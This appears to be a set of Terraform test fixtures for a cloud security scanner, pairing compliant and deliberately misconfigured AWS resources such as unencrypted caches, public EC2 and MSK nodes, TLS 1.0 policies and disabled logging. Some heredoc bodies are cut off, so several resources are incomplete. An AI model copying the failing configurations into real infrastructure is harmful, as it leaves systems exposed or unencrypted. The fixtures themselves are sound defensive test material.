================================================ FILE: tests/terraform/checks/resource/aws/example_AWSCodeGuruHasCMK/AWSCodeGuruHasCMK.tf ================================================ resource "aws_codegurureviewer_repository_association" "pass" { repository { codecommit { name = "repository_name" } } kms_key_details { encryption_option = "CUSTOMER_MANAGED_CMK" kms_key_id = "aws_kms_key.example.key_id" } } resource "aws_codegurureviewer_repository_association" "ckv_unittest_fail_no_encryption_option" { repository { codecommit { name = "repository_name" } } kms_key_details { kms_key_id = "aws_kms_key.example.key_id" } } resource "aws_codegurureviewer_repository_association" "ckv_unittest_fail_no_kms_key_details" { repository { codecommit { name = "repository_name" } } } resource "aws_codegurureviewer_repository_association" "ckv_unittest_fail_encryption_option_OWNED" { repository { codecommit { name = "repository_name" } } kms_key_details { encryption_option = "AWS_OWNED_CMK" kms_key_id = "aws_kms_key.example.key_id" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_AppFlowConnectorProfileUsesCMK/main.tf ================================================ resource "aws_appflow_connector_profile" "fail" { name = "example_profile" connector_type = "Redshift" connection_mode = "Public" connector_profile_config { connector_profile_credentials { redshift { password = aws_redshift_cluster.example.master_password username = aws_redshift_cluster.example.master_username } } connector_profile_properties { redshift { bucket_name = aws_s3_bucket.example.name database_url = "jdbc:redshift://${aws_redshift_cluster.example.endpoint}/${aws_redshift_cluster.example.database_name}" role_arn = aws_iam_role.example.arn } } } } resource "aws_appflow_connector_profile" "pass" { name = "example_profile" connector_type = "Redshift" connection_mode = "Public" kms_arn = aws_kms_key.example.arn connector_profile_config { connector_profile_credentials { redshift { password = aws_redshift_cluster.example.master_password username = aws_redshift_cluster.example.master_username } } connector_profile_properties { redshift { bucket_name = aws_s3_bucket.example.name database_url = "jdbc:redshift://${aws_redshift_cluster.example.endpoint}/${aws_redshift_cluster.example.database_name}" role_arn = aws_iam_role.example.arn } } } } ================================================ FILE: tests/terraform/checks/resource/aws/example_AppFlowUsesCMK/main.tf ================================================ resource "aws_appflow_flow" "fail" { name = "example" source_flow_config { connector_type = "S3" source_connector_properties { s3 { bucket_name = aws_s3_bucket_policy.example_source.bucket bucket_prefix = "example" } } } destination_flow_config { connector_type = "S3" destination_connector_properties { s3 { bucket_name = aws_s3_bucket_policy.example_destination.bucket s3_output_format_config { prefix_config { prefix_type = "PATH" } } } } } task { source_fields = ["exampleField"] destination_field = "exampleField" task_type = "Map" connector_operator { s3 = "NO_OP" } } trigger_config { trigger_type = "OnDemand" } } resource "aws_appflow_flow" "pass" { name = "example" source_flow_config { connector_type = "S3" source_connector_properties { s3 { bucket_name = aws_s3_bucket_policy.example_source.bucket bucket_prefix = "example" } } } destination_flow_config { connector_type = "S3" destination_connector_properties { s3 { bucket_name = aws_s3_bucket_policy.example_destination.bucket s3_output_format_config { prefix_config { prefix_type = "PATH" } } } } } task { source_fields = ["exampleField"] destination_field = "exampleField" task_type = "Map" connector_operator { s3 = "NO_OP" } } kms_arn = aws_kms_key.example.arn trigger_config { trigger_type = "OnDemand" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_AppSyncFieldLevelLogs/main.tf ================================================ # pass resource "aws_appsync_graphql_api" "all" { authentication_type = "API_KEY" name = "example" log_config { cloudwatch_logs_role_arn = "aws_iam_role.example.arn" field_log_level = "ALL" } } resource "aws_appsync_graphql_api" "error" { authentication_type = "API_KEY" name = "example" log_config { cloudwatch_logs_role_arn = "aws_iam_role.example.arn" field_log_level = "ERROR" } } # fail resource "aws_appsync_graphql_api" "none" { authentication_type = "API_KEY" name = "example" log_config { cloudwatch_logs_role_arn = "aws_iam_role.example.arn" field_log_level = "NONE" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_AppSyncLogging/main.tf ================================================ # pass resource "aws_appsync_graphql_api" "enabled" { authentication_type = "API_KEY" name = "example" log_config { cloudwatch_logs_role_arn = "aws_iam_role.example.arn" field_log_level = "ERROR" } } # fail resource "aws_appsync_graphql_api" "default" { authentication_type = "API_KEY" name = "example" } ================================================ FILE: tests/terraform/checks/resource/aws/example_AppsyncAPICacheEncryptionAtRest/main.tf ================================================ resource "aws_appsync_api_cache" "pass" { api_id = aws_appsync_graphql_api.default.id transit_encryption_enabled = true at_rest_encryption_enabled = true ttl = 60 type = "SMALL" api_caching_behavior = "FULL_REQUEST_CACHING" } resource "aws_appsync_api_cache" "fail" { api_id = aws_appsync_graphql_api.default.id transit_encryption_enabled = false at_rest_encryption_enabled = false ttl = 60 type = "SMALL" api_caching_behavior = "FULL_REQUEST_CACHING" } resource "aws_appsync_api_cache" "fail2" { api_id = aws_appsync_graphql_api.default.id ttl = 60 type = "SMALL" api_caching_behavior = "FULL_REQUEST_CACHING" } ================================================ FILE: tests/terraform/checks/resource/aws/example_AppsyncAPICacheEncryptionInTransit/main.tf ================================================ resource "aws_appsync_api_cache" "pass" { api_id = aws_appsync_graphql_api.default.id transit_encryption_enabled = true at_rest_encryption_enabled = true ttl = 60 type = "SMALL" api_caching_behavior = "FULL_REQUEST_CACHING" } resource "aws_appsync_api_cache" "fail" { api_id = aws_appsync_graphql_api.default.id transit_encryption_enabled = false at_rest_encryption_enabled = false ttl = 60 type = "SMALL" api_caching_behavior = "FULL_REQUEST_CACHING" } resource "aws_appsync_api_cache" "fail2" { api_id = aws_appsync_graphql_api.default.id ttl = 60 type = "SMALL" api_caching_behavior = "FULL_REQUEST_CACHING" } ================================================ FILE: tests/terraform/checks/resource/aws/example_AthenaWorkgroupEncryption/main.tf ================================================ resource "aws_athena_workgroup" "pass" { name = "wg-encrypted" configuration { enforce_workgroup_configuration = true publish_cloudwatch_metrics_enabled = true result_configuration { output_location = "s3://mys3bucket" encryption_configuration { encryption_option = "SSE_KMS" kms_key_arn = "mykmsarn" } } } } resource "aws_athena_workgroup" "fail" { name = "wg-non-encrypted" configuration { enforce_workgroup_configuration = true publish_cloudwatch_metrics_enabled = true result_configuration { output_location = "s3://mys3bucket" } } } ================================================ FILE: tests/terraform/checks/resource/aws/example_AutoScalingGroupWithPublicAccess/main.tf ================================================ resource "aws_launch_configuration" "fail" { name = "vulnerable-lc-${random_id.id.hex}" image_id = "ami-0c55b24b055c14ff6" # Replace with a valid AMI ID for your region instance_type = "t2.micro" associate_public_ip_address = true # THIS IS THE VULNERABILITY } resource "aws_autoscaling_group" "vulnerable_asg" { name = "vulnerable-asg-${random_id.id.hex}" launch_configuration = aws_launch_configuration.vulnerable_launch_config.name min_size = 1 max_size = 3 desired_capacity = 1 vpc_zone_identifier = ["subnet-0bb1c79de3EXAMPLE", "subnet-0bb1c79de4EXAMPLE"] # Replace with valid subnet IDs tags = [ { key = "Name" value = "VulnerableAutoScalingGroup" propagate_at_launch = true }, ] } resource "random_id" "id" { byte_length = 8 } resource "aws_launch_configuration" "pass" { name = "safe-lc-${random_id.id.hex}" image_id = "ami-0c55b24b055c14ff6" # Replace with a valid AMI ID for your region instance_type = "t2.micro" associate_public_ip_address = false # THIS IS THE SAFE CONFIGURATION } resource "aws_autoscaling_group" "safe_asg" { name = "safe-asg-${random_id.id.hex}" launch_configuration = aws_launch_configuration.safe_launch_config.name min_size = 1 max_size = 3 desired_capacity = 1 vpc_zone_identifier = ["subnet-0bb1c79de3EXAMPLE", "subnet-0bb1c79de4EXAMPLE"] # Replace with valid subnet IDs tags = [ { key = "Name" value = "SafeAutoScalingGroup" propagate_at_launch = true }, ] } resource "random_id" "id" { byte_length = 8 } ================================================ FILE: tests/terraform/checks/resource/aws/example_AutoScalingLaunchTemplate/main.tf ================================================ resource "aws_autoscaling_group" "pass" { availability_zones = ["us-east-1a"] desired_capacity = 1 max_size = 2 min_size = 1 launch_template { id = aws_launch_template.example.id version = aws_launch_template.example.latest_version } tag { key = "Key" value = "Value" propagate_at_launch = true } instance_refresh { strategy = "Rolling" preferences { min_healthy_percentage = 50 } triggers = ["tag"] } } resource "aws_autoscaling_group" "fail" { name = "foobar3-terraform-test" max_size = 5 min_size = 2 launch_configuration = aws_launch_configuration.foobar.name vpc_zone_identifier = [aws_subnet.example1.id, aws_subnet.example2.id] } resource "aws_autoscaling_group" "pass_mixed" { mixed_instances_policy { instances_distribution { on_demand_base_capacity = 0 on_demand_percentage_above_base_capacity = 25 spot_allocation_strategy = "capacity-optimized" } launch_template { launch_template_specification { launch_template_id = aws_launch_template.example.id } override { instance_type = "c4.large" weighted_capacity = "3" } override { instance_type = "c3.large" weighted_capacity = "2" } } } } resource "aws_autoscaling_group" "pass_mixed_multiple" { mixed_instances_policy { instances_distribution { on_demand_base_capacity = 0 on_demand_percentage_above_base_capacity = 25 spot_allocation_strategy = "capacity-optimized" } launch_template { launch_template_specification { launch_template_id = aws_launch_template.x86_64.id } override { instance_type = "c6g.large" launch_template_specification { launch_template_id = aws_launch_template.arm64.id } } override { instance_type = "c5.large" } override { instance_type = "c5a.large" } } } } ================================================ FILE: tests/terraform/checks/resource/aws/example_AutoScalingTagging/main.tf ================================================ resource "aws_autoscaling_group" "passtag" { name = "foobar3-terraform-test" max_size = 5 min_size = 2 health_check_grace_period = 300 health_check_type = "ELB" desired_capacity = 4 force_delete = true placement_group = aws_placement_group.test.id launch_configuration = aws_launch_configuration.foobar.name vpc_zone_identifier = [aws_subnet.example1.id, aws_subnet.example2.id] tag { key = "foo" value = "bar" propagate_at_launch = true } tag { key = "lorem" value = "ipsum" propagate_at_launch = false } } resource "aws_autoscaling_group" "passtags" { name = "foobar3-terraform-test" max_size = 5 min_size = 2 launch_configuration = aws_launch_configuration.foobar.name vpc_zone_identifier = [aws_subnet.example1.id, aws_subnet.example2.id] tags = concat( [ { "key" = "interpolation1" "value" = "value3" "propagate_at_launch" = true }, { "key" = "interpolation2" "value" = "value4" "propagate_at_launch" = true }, ], var.extra_tags, ) } resource "aws_autoscaling_group" "fail" { name = "foobar3-terraform-test" max_size = 5 min_size = 2 launch_configuration = aws_launch_configuration.foobar.name vpc_zone_identifier = [aws_subnet.example1.id, aws_subnet.example2.id] } ================================================ FILE: tests/terraform/checks/resource/aws/example_BackupVaultEncrypted/main.tf ================================================ # fail resource "aws_backup_vault" "backup" { name = "example_backup_vault" } # pass resource "aws_backup_vault" "backup_with_kms_key" { name = "example_backup_vault" kms_key_arn = aws_kms_key.example.arn } ================================================ FILE: tests/terraform/checks/resource/aws/example_BatchJobIsNotPrivileged/main.tf ================================================ resource "aws_batch_job_definition" "unknown2" { name = "foobar" type = "container" container_properties = file("${path.module}/job_definition.json") } resource "aws_batch_job_definition" "fail" { name = "tf_test_batch_job_definition" type = "container" container_properties = <Deployed via Terraform" | sudo tee /var/www/html/index.html EOF tags = { Name = "${local.resource_prefix.value}-ec2" } } resource "aws_instance" "fail" { ami = "ami-04169656fea786776" instance_type = "t2.nano" user_data = <Deployed via Terraform" | sudo tee /var/www/html/index.html EOF tags = { Name = "${local.resource_prefix.value}-ec2" } } #resource "aws_launch_configuration" "fail" { # name = "web_config" # image_id = data.aws_ami.ubuntu.id # instance_type = "t2.micro" # user_data = < true } ami = "ami-12345" instance_type = "t3.micro" associate_public_ip_address = each.value } resource "aws_instance" "public_foreach_loop_list" { for_each = [ for val in var.loop_list : val ] ami = "ami-12345" instance_type = "t3.micro" associate_public_ip_address = each.value } variable "loop_list_of_dicts" { default = [ { "name": "public", "public_ip": true }, { "name": "private", "public_ip": false } ] } locals { loop_list_of_dicts = [ for val in var.loop_list_of_dicts : { name = val.name public_ip = val.public_ip } ] } resource "aws_instance" "public_foreach_loop_list_of_dicts" { for_each = { for val in local.loop_list_of_dicts : val.name => val } name = each.value.name associate_public_ip_address = each.value.public_ip } ================================================ FILE: tests/terraform/checks/resource/aws/example_EC2PublicIP_foreach/main.tf ================================================ module "s3_module" { for_each = ["a", "b"] source = "./module" bucket = false } ================================================ FILE: tests/terraform/checks/resource/aws/example_EC2PublicIP_foreach/module/main.tf ================================================ locals { bucket = var.bucket } variable "public" { default = { "key1": true, "key2": false } } resource "aws_instance" "poc_modules_foreach" { for_each = var.public ami = "ami-12345" instance_type = "t3.micro" associate_public_ip_address = each.value } variable "bucket" { type = string } ================================================ FILE: tests/terraform/checks/resource/aws/example_ECRImmutableTags/main.tf ================================================ # pass resource "aws_ecr_repository" "enabled" { name = "example" image_tag_mutability = "IMMUTABLE" } #fail resource "aws_ecr_repository" "default" { name = "example" } resource "aws_ecr_repository" "disabled" { name = "example" image_tag_mutability = "MUTABLE" } ================================================ FILE: tests/terraform/checks/resource/aws/example_ECRPolicy/main.tf ================================================ provider "aws" { region = "eu-west-2" } resource "aws_ecr_repository" "public" { name = "public_repo" } resource "aws_ecr_repository_policy" "fail" { repository = aws_ecr_repository.public.name policy = < 1 } node_to_node_encryption { enabled = true } } resource "aws_elasticsearch_domain" "old_hcl" { domain_name = "old_hcl" cluster_config = { instance_count = 2 } node_to_node_encryption = { enabled = true } } # fail resource "aws_elasticsearch_domain" "node_to_node_encryption_disabled" { domain_name = "node_to_node_encryption_disabled" cluster_config { instance_count = 2 // a value > 1 } node_to_node_encryption { enabled = false } } resource "aws_elasticsearch_domain" "node_to_node_encryption_doesnt_exist" { domain_name = "node_to_node_encryption_doesnt_exist" cluster_config { instance_count = 2 // a value > 1 } } # unknown resource "aws_elasticsearch_domain" "instance_count_not_number" { domain_name = "instance_count_not_number" cluster_config { instance_count = "not_int" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_ElasticsearchNodeToNodeEncryption/opensearch.tf ================================================ # pass resource "aws_opensearch_domain" "without_cluster_config" { domain_name = "without_cluster_config" } resource "aws_opensearch_domain" "without_instance_count" { domain_name = "without_instance_count" cluster_config {} } resource "aws_opensearch_domain" "instance_count_not_bigger_than_1" { domain_name = "instance_count_not_bigger_than_1" cluster_config { instance_count = 1 // a value <= 1 } } resource "aws_opensearch_domain" "node_to_node_encryption_enabled" { domain_name = "node_to_node_encryption_enabled" cluster_config { instance_count = 2 // a value > 1 } node_to_node_encryption { enabled = true } } resource "aws_opensearch_domain" "old_hcl" { domain_name = "old_hcl" cluster_config = { instance_count = 2 } node_to_node_encryption = { enabled = true } } # fail resource "aws_opensearch_domain" "node_to_node_encryption_disabled" { domain_name = "node_to_node_encryption_disabled" cluster_config { instance_count = 2 // a value > 1 } node_to_node_encryption { enabled = false } } resource "aws_opensearch_domain" "node_to_node_encryption_doesnt_exist" { domain_name = "node_to_node_encryption_doesnt_exist" cluster_config { instance_count = 2 // a value > 1 } } # unknown resource "aws_opensearch_domain" "instance_count_not_number" { domain_name = "instance_count_not_number" cluster_config { instance_count = "not_int" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_ElasticsearchTLSPolicy/main.tf ================================================ provider "aws" { region = "eu-west-2" } resource "aws_elasticsearch_domain" "fail" { domain_name = "nodetonode" domain_endpoint_options { enforce_https = false tls_security_policy = "Policy-Min-TLS-1-0-2019-07" } cluster_config { instance_count = 2 } encrypt_at_rest { enabled = false } node_to_node_encryption { enabled = false } } resource "aws_elasticsearch_domain" "notset" { domain_name = "notset" cluster_config { instance_count = 2 // a value > 1 } encrypt_at_rest { enabled = false } node_to_node_encryption { enabled = false } } resource "aws_elasticsearch_domain" "pass" { domain_name = "pass" domain_endpoint_options { enforce_https = false tls_security_policy = "Policy-Min-TLS-1-2-2019-07" } cluster_config { instance_count = 2 } encrypt_at_rest { enabled = false } node_to_node_encryption { enabled = false } } resource "aws_elasticsearch_domain" "pass2" { domain_name = "pass2" domain_endpoint_options { enforce_https = false tls_security_policy = "Policy-Min-TLS-1-2-PFS-2023-10" } cluster_config { instance_count = 2 } encrypt_at_rest { enabled = false } node_to_node_encryption { enabled = false } } ================================================ FILE: tests/terraform/checks/resource/aws/example_ElasticsearchTLSPolicy/opensearch.tf ================================================ resource "aws_opensearch_domain" "fail" { domain_name = "nodetonode" domain_endpoint_options { enforce_https = false tls_security_policy = "Policy-Min-TLS-1-0-2019-07" } cluster_config { instance_count = 2 } encrypt_at_rest { enabled = false } node_to_node_encryption { enabled = false } } resource "aws_opensearch_domain" "notset" { domain_name = "notset" cluster_config { instance_count = 2 // a value > 1 } encrypt_at_rest { enabled = false } node_to_node_encryption { enabled = false } } resource "aws_opensearch_domain" "pass" { domain_name = "pass" domain_endpoint_options { enforce_https = false tls_security_policy = "Policy-Min-TLS-1-2-2019-07" } cluster_config { instance_count = 2 } encrypt_at_rest { enabled = false } node_to_node_encryption { enabled = false } } resource "aws_opensearch_domain" "pass2" { domain_name = "pass2" domain_endpoint_options { enforce_https = false tls_security_policy = "Policy-Min-TLS-1-2-PFS-2023-10" } cluster_config { instance_count = 2 } encrypt_at_rest { enabled = false } node_to_node_encryption { enabled = false } } ================================================ FILE: tests/terraform/checks/resource/aws/example_FSXOntapFSEncryptedWithCMK/aws_fsx_ontap_file_system.tf ================================================ resource "aws_fsx_ontap_file_system" "pass" { storage_capacity = 1024 subnet_ids = [aws_subnet.test1.id, aws_subnet.test2.id] deployment_type = "MULTI_AZ_1" throughput_capacity = 512 preferred_subnet_id = aws_subnet.test1.id kms_key_id = aws_kms_key.test.arn } resource "aws_fsx_ontap_file_system" "fail" { storage_capacity = 1024 subnet_ids = [aws_subnet.test1.id, aws_subnet.test2.id] deployment_type = "MULTI_AZ_1" throughput_capacity = 512 preferred_subnet_id = aws_subnet.test1.id } ================================================ FILE: tests/terraform/checks/resource/aws/example_FSXOpenZFSFileSystemEncryptedWithCMK/main.tf ================================================ resource "aws_fsx_openzfs_file_system" "pass" { storage_capacity = var.file_system.storage_capacity subnet_ids = var.subnet_ids deployment_type = var.file_system.deployment_type throughput_capacity = var.file_system.throughput_capacity kms_key_id = var.kms_key_id automatic_backup_retention_days = 0 #flag as no bckup } resource "aws_fsx_openzfs_file_system" "fail" { storage_capacity = var.file_system.storage_capacity subnet_ids = var.subnet_ids deployment_type = var.file_system.deployment_type throughput_capacity = var.file_system.throughput_capacity automatic_backup_retention_days = 0 #flag as no bckup } ================================================ FILE: tests/terraform/checks/resource/aws/example_FSXWindowsFSEncryptedWithCMK/aws_fsx_windows_file_system.tf ================================================ resource "aws_fsx_windows_file_system" "pass" { active_directory_id = aws_directory_service_directory.test.id kms_key_id = aws_kms_key.test1.arn skip_final_backup = true storage_capacity = 32 subnet_ids = [aws_subnet.test1.id] throughput_capacity = 8 } resource "aws_fsx_windows_file_system" "fail" { active_directory_id = aws_directory_service_directory.test.id skip_final_backup = true storage_capacity = 32 subnet_ids = [aws_subnet.test1.id] throughput_capacity = 8 } ================================================ FILE: tests/terraform/checks/resource/aws/example_GlacierVaultAnyPrincipal/main.tf ================================================ # pass resource "aws_glacier_vault" "my_archive1" { name = "MyArchive" access_policy = < DATA } resource "aws_mq_configuration" "pass" { description = "Example Configuration" name = "example" engine_type = "ActiveMQ" engine_version = "5.17.6" data = < DATA } ================================================ FILE: tests/terraform/checks/resource/aws/example_MSKClusterNodesArePrivate/main.tf ================================================ resource "aws_msk_cluster" "pass" { cluster_name = "pike" kafka_version = "3.2.0" number_of_broker_nodes = 2 broker_node_group_info { storage_info { ebs_storage_info { volume_size = 1100 } } client_subnets = [ "subnet-0562ef1d304b968f4", "subnet-08895dbf9e060579b"] instance_type = "kafka.t3.small" security_groups = ["sg-002ed1a53dc5fe0ad"] connectivity_info { public_access { type = "DISABLED" } } } client_authentication { sasl { scram = true } } configuration_info { arn = "" revision = 0 } encryption_info { encryption_at_rest_kms_key_arn = "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" encryption_in_transit { client_broker = "TLS" in_cluster = true } } open_monitoring { prometheus { jmx_exporter { enabled_in_broker = false } node_exporter { enabled_in_broker = false } } } tags = { pike = "permissions" } } resource "aws_msk_cluster" "pass2" { cluster_name = "pike" kafka_version = "3.2.0" number_of_broker_nodes = 2 broker_node_group_info { storage_info { ebs_storage_info { volume_size = 1100 } } client_subnets = [ "subnet-0562ef1d304b968f4", "subnet-08895dbf9e060579b"] instance_type = "kafka.t3.small" security_groups = ["sg-002ed1a53dc5fe0ad"] } client_authentication { sasl { scram = true } } configuration_info { arn = "" revision = 0 } encryption_info { encryption_at_rest_kms_key_arn = "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" encryption_in_transit { client_broker = "TLS" in_cluster = true } } open_monitoring { prometheus { jmx_exporter { enabled_in_broker = false } node_exporter { enabled_in_broker = false } } } tags = { pike = "permissions" } } resource "aws_msk_cluster" "fail" { cluster_name = "pike" kafka_version = "3.2.0" number_of_broker_nodes = 2 broker_node_group_info { storage_info { ebs_storage_info { volume_size = 1100 } } client_subnets = [ "subnet-0562ef1d304b968f4", "subnet-08895dbf9e060579b"] instance_type = "kafka.t3.small" security_groups = ["sg-002ed1a53dc5fe0ad"] connectivity_info { public_access { type = "SERVICE_PROVIDED_EIPS" } } } client_authentication { sasl { scram = true } } configuration_info { arn = "" revision = 0 } encryption_info { encryption_at_rest_kms_key_arn = "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" encryption_in_transit { client_broker = "TLS" in_cluster = true } } open_monitoring { prometheus { jmx_exporter { enabled_in_broker = false } node_exporter { enabled_in_broker = false } } } tags = { pike = "permissions" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_MWAASchedulerLogsEnabled/main.tf ================================================ resource "aws_mwaa_environment" "pass" { dag_s3_path = "dags/" execution_role_arn = "aws_iam_role.example.arn" logging_configuration { dag_processing_logs { enabled = true log_level = "DEBUG" } scheduler_logs { enabled = true log_level = "INFO" } } name = "example" network_configuration { security_group_ids = ["aws_security_group.example.id"] subnet_ids = "aws_subnet.private[*].id" } source_bucket_arn = "aws_s3_bucket.example.arn" } resource "aws_mwaa_environment" "fail_false" { dag_s3_path = "dags/" execution_role_arn = "aws_iam_role.example.arn" logging_configuration { dag_processing_logs { enabled = true log_level = "DEBUG" } scheduler_logs { enabled = false log_level = "INFO" } } name = "example" network_configuration { security_group_ids = ["aws_security_group.example.id"] subnet_ids = "aws_subnet.private[*].id" } source_bucket_arn = "aws_s3_bucket.example.arn" } resource "aws_mwaa_environment" "fail" { dag_s3_path = "dags/" execution_role_arn = "aws_iam_role.example.arn" logging_configuration { dag_processing_logs { enabled = true log_level = "DEBUG" } } name = "example" network_configuration { security_group_ids = ["aws_security_group.example.id"] subnet_ids = "aws_subnet.private[*].id" } source_bucket_arn = "aws_s3_bucket.example.arn" } ================================================ FILE: tests/terraform/checks/resource/aws/example_MWAAWebserverLogsEnabled/main.tf ================================================ resource "aws_mwaa_environment" "pass" { dag_s3_path = "dags/" execution_role_arn = "aws_iam_role.example.arn" logging_configuration { dag_processing_logs { enabled = true log_level = "DEBUG" } webserver_logs { enabled = true log_level = "INFO" } } name = "example" network_configuration { security_group_ids = ["aws_security_group.example.id"] subnet_ids = "aws_subnet.private[*].id" } source_bucket_arn = "aws_s3_bucket.example.arn" } resource "aws_mwaa_environment" "fail_false" { dag_s3_path = "dags/" execution_role_arn = "aws_iam_role.example.arn" logging_configuration { webserver_logs { enabled = false log_level = "CRITICAL" } } name = "example" network_configuration { security_group_ids = ["aws_security_group.example.id"] subnet_ids = "aws_subnet.private[*].id" } source_bucket_arn = "aws_s3_bucket.example.arn" } resource "aws_mwaa_environment" "fail" { dag_s3_path = "dags/" execution_role_arn = "aws_iam_role.example.arn" name = "example" network_configuration { security_group_ids = ["aws_security_group.example.id"] subnet_ids = "aws_subnet.private[*].id" } source_bucket_arn = "aws_s3_bucket.example.arn" } ================================================ FILE: tests/terraform/checks/resource/aws/example_MWAAWorkerLogsEnabled/main.tf ================================================ resource "aws_mwaa_environment" "pass" { dag_s3_path = "dags/" execution_role_arn = "aws_iam_role.example.arn" logging_configuration { worker_logs { enabled = true log_level = "CRITICAL" } } name = "example" network_configuration { security_group_ids = ["aws_security_group.example.id"] subnet_ids = "aws_subnet.private[*].id" } source_bucket_arn = "aws_s3_bucket.example.arn" } resource "aws_mwaa_environment" "fail_false" { dag_s3_path = "dags/" execution_role_arn = "aws_iam_role.example.arn" logging_configuration { worker_logs { enabled = false log_level = "CRITICAL" } } name = "example" network_configuration { security_group_ids = ["aws_security_group.example.id"] subnet_ids = "aws_subnet.private[*].id" } source_bucket_arn = "aws_s3_bucket.example.arn" } resource "aws_mwaa_environment" "fail_missing" { dag_s3_path = "dags/" execution_role_arn = "aws_iam_role.example.arn" name = "example" network_configuration { security_group_ids = ["aws_security_group.example.id"] subnet_ids = "aws_subnet.private[*].id" } source_bucket_arn = "aws_s3_bucket.example.arn" } ================================================ FILE: tests/terraform/checks/resource/aws/example_MemoryDBClusterIntransitEncryption/main.tf ================================================ resource "aws_memorydb_cluster" "pass" { acl_name = "open-access" name = "my-cluster" node_type = "db.t4g.small" num_shards = 2 security_group_ids = [aws_security_group.example.id] snapshot_retention_limit = 7 subnet_group_name = aws_memorydb_subnet_group.example.id } resource "aws_memorydb_cluster" "pass2" { acl_name = "open-access" name = "my-cluster" node_type = "db.t4g.small" num_shards = 2 security_group_ids = [aws_security_group.example.id] snapshot_retention_limit = 7 subnet_group_name = aws_memorydb_subnet_group.example.id tls_enabled = true } resource "aws_memorydb_cluster" "fail" { acl_name = "open-access" name = "my-cluster" node_type = "db.t4g.small" num_shards = 2 security_group_ids = [aws_security_group.example.id] snapshot_retention_limit = 7 subnet_group_name = aws_memorydb_subnet_group.example.id tls_enabled = false } ================================================ FILE: tests/terraform/checks/resource/aws/example_MemoryDBEncryptionWithCMK/main.tf ================================================ resource "aws_memorydb_cluster" "fail" { acl_name = "open-access" name = "my-cluster" node_type = "db.t4g.small" num_shards = 2 security_group_ids = [aws_security_group.example.id] snapshot_retention_limit = 7 subnet_group_name = aws_memorydb_subnet_group.example.id } resource "aws_memorydb_cluster" "pass" { acl_name = "open-access" name = "my-cluster" node_type = "db.t4g.small" num_shards = 2 security_group_ids = [aws_security_group.example.id] snapshot_retention_limit = 7 subnet_group_name = aws_memorydb_subnet_group.example.id kms_key_arn = aws_kms_key.example.arn } resource "aws_kms_key" "example" {} ================================================ FILE: tests/terraform/checks/resource/aws/example_MemoryDBSnapshotEncryptionWithCMK/main.tf ================================================ resource "aws_memorydb_snapshot" "fail" { name = "pike" cluster_name = "sato" } resource "aws_memorydb_snapshot" "pass" { cluster_name = "sato" name = "pike" kms_key_arn = aws_kms_key.example.arn } ================================================ FILE: tests/terraform/checks/resource/aws/example_NeptuneClusterBackupRetention/NeptuneClusterBackupRetention.tf ================================================ ## SHOULD PASS: backup retention to 7 or more resource "aws_neptune_cluster" "ckv_unittest_pass" { cluster_identifier = "neptune-cluster-demo" engine = "neptune" backup_retention_period = 7 } ## SHOULD FAIL: backup retention to less than 7 resource "aws_neptune_cluster" "ckv_unittest_fail_not_adequate" { cluster_identifier = "neptune-cluster-demo" engine = "neptune" backup_retention_period = 3 } ## SHOULD FAIL: backup retention not set (default is 1) resource "aws_neptune_cluster" "ckv_unittest_fail_default" { cluster_identifier = "neptune-cluster-demo" engine = "neptune" } ================================================ FILE: tests/terraform/checks/resource/aws/example_NeptuneClusterEncryptedWithCMK/main.tf ================================================ resource "aws_neptune_cluster" "fail" { cluster_identifier = "neptune-cluster-demo" engine = "neptune" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" skip_final_snapshot = true iam_database_authentication_enabled = true apply_immediately = true } resource "aws_neptune_cluster" "pass" { cluster_identifier = "neptune-cluster-demo" engine = "neptune" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" skip_final_snapshot = true iam_database_authentication_enabled = true apply_immediately = true kms_key_arn = aws_kms_key.pike.arn } ================================================ FILE: tests/terraform/checks/resource/aws/example_NeptuneClusterSnapshotEncrypted/main.tf ================================================ resource "aws_neptune_cluster_snapshot" "fail" { db_cluster_identifier = aws_neptune_cluster.example.id db_cluster_snapshot_identifier = "resourcetestsnapshot1234" } resource "aws_neptune_cluster_snapshot" "fail2" { db_cluster_identifier = aws_neptune_cluster.example.id db_cluster_snapshot_identifier = "resourcetestsnapshot1234" storage_encrypted = false } resource "aws_neptune_cluster_snapshot" "pass" { db_cluster_identifier = aws_neptune_cluster.example.id db_cluster_snapshot_identifier = "resourcetestsnapshot1234" storage_encrypted =true } ================================================ FILE: tests/terraform/checks/resource/aws/example_NeptuneClusterSnapshotEncryptedWithCMK/main.tf ================================================ resource "aws_neptune_cluster_snapshot" "fail" { db_cluster_identifier = aws_neptune_cluster.example.id db_cluster_snapshot_identifier = "resourcetestsnapshot1234" storage_encrypted=true } resource "aws_neptune_cluster_snapshot" "pass" { db_cluster_identifier = aws_neptune_cluster.example.id db_cluster_snapshot_identifier = "resourcetestsnapshot1234" storage_encrypted = true kms_key_id = aws_kms_key.pike.id } ================================================ FILE: tests/terraform/checks/resource/aws/example_NeptuneClusterStorageEncrypted/main.tf ================================================ # pass resource "aws_neptune_cluster" "enabled" { cluster_identifier = "example" engine = "neptune" storage_encrypted = true } # fail resource "aws_neptune_cluster" "default" { cluster_identifier = "example" engine = "neptune" } resource "aws_neptune_cluster" "disabled" { cluster_identifier = "example" engine = "neptune" storage_encrypted = false } ================================================ FILE: tests/terraform/checks/resource/aws/example_NeptuneDBClustersCopyTagsToSnapshots/NeptuneDBClustersCopyTagsToSnapshots.tf ================================================ ## SHOULD PASS: has copy_tags_to_snapshot = true resource "aws_neptune_cluster" "ckv_unittest_pass" { copy_tags_to_snapshot = true } ## SHOULD FAIL: doesn't have copy_tags_to_snapshot resource "aws_neptune_cluster" "ckv_unittest_fail" { copy_tags_to_snapshot = false } ## SHOULD FAIL: have copy_tags_to_snapshot = false resource "aws_neptune_cluster" "ckv_unittest2_fail" { ## Your test here } ================================================ FILE: tests/terraform/checks/resource/aws/example_NeptuneDBClustersIAMDatabaseAuthenticationEnabled/NeptuneDBClustersIAMDatabaseAuthenticationEnabled.tf ================================================ ## SHOULD PASS: iam_database_authentication_enabled set to true resource 